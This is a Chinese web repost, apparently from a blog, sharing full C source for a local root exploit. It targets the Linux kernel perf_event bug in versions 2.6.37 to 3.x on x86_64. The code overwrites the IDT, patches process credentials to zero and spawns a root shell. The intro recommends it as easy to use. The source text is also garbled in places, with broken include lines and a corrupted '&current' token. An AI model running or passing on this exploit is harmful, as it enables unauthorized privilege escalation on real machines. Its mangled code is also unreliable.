国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞，成功利用该漏洞可能获得特权用户，还算新鲜，转来给大家看看。比较好用的~
/*
* linux
2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2
semtex.c && ./a.out * 2010
sd@fucksheep.org, salut! * * update may
2013: * seems like
centos 2.6.32 backported the perf bug, lol. * jewgold to
115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. */ #define
_GNU_SOURCE 1 #include <stdint .h> #include <stdio .h> #include <stdlib .h> #include <string .h> #include <unistd .h> #include <sys /mman.h> #include <syscall .h> #include <stdint .h> #include <assert .h> #define
BASE 0x380000000 #define
SIZE 0x010000000 #define
KSIZE 0x2000000 #define
AB(x) ((uint64_t)((0xababababLL< <32)^((uint64_t)((x)*313337))))
void
fuck() { int i,j,k;
uint64_t
uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t
*current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t
kbase = ((uint64_t)current)>>36; uint32_t
*fixptr = (void*) AB(1); *fixptr =
-1; for (i=0;
i<4000; i+=4) { uint64_t
*p = (void *)¤t[i]; uint32_t
*t = (void*) p[0]; if ((p[0] != p[1]) ||
((p[0]>>36) != kbase)) continue; for (j=0; j<20;
j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto
next; for (i = 0; i < 8;
i++) t[j+i] = 0; for (i = 0; i < 10;
i++) t[j+9+i] = -1; return; next:; }
}
}
void
sheep(uint32_t off) { uint64_t
buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd =
syscall(298, buf, 0, -1, -1, 0); assert(!close(fd)); }
int main()
{ uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t
*map, j = 5; int i;
struct {
uint16_t
limit; uint64_t
addr; }
__attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) ==
(void*)BASE); memset(map, 0, SIZE); sheep(-1);
sheep(-2); for (i = 0; i <
SIZE/4; i++) if (map[i])
{ assert(map[i+1]); break; }
assert(i<SIZE/4); asm
("sidt %0" : "=m" (idt)); kbase =
idt.addr & 0xff000000; u =
getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32,
0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024;
memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x
x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g); while (j--) {
needle =
AB(j+1); assert(p =
memmem(code, 1024, &needle, 8)); if (!p) continue; *p =
j?((g<<32)|u):(idt.addr + 0x48); }
sheep(-i +
(((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int
$0x4"); assert(!setuid(0)); return execl("/bin/bash",
"-sh",
NULL); } |
linux root exp for 2.6.37-3.x.x x86_64
原文：http://www.cnblogs.com/CSDNchina/p/3513507.html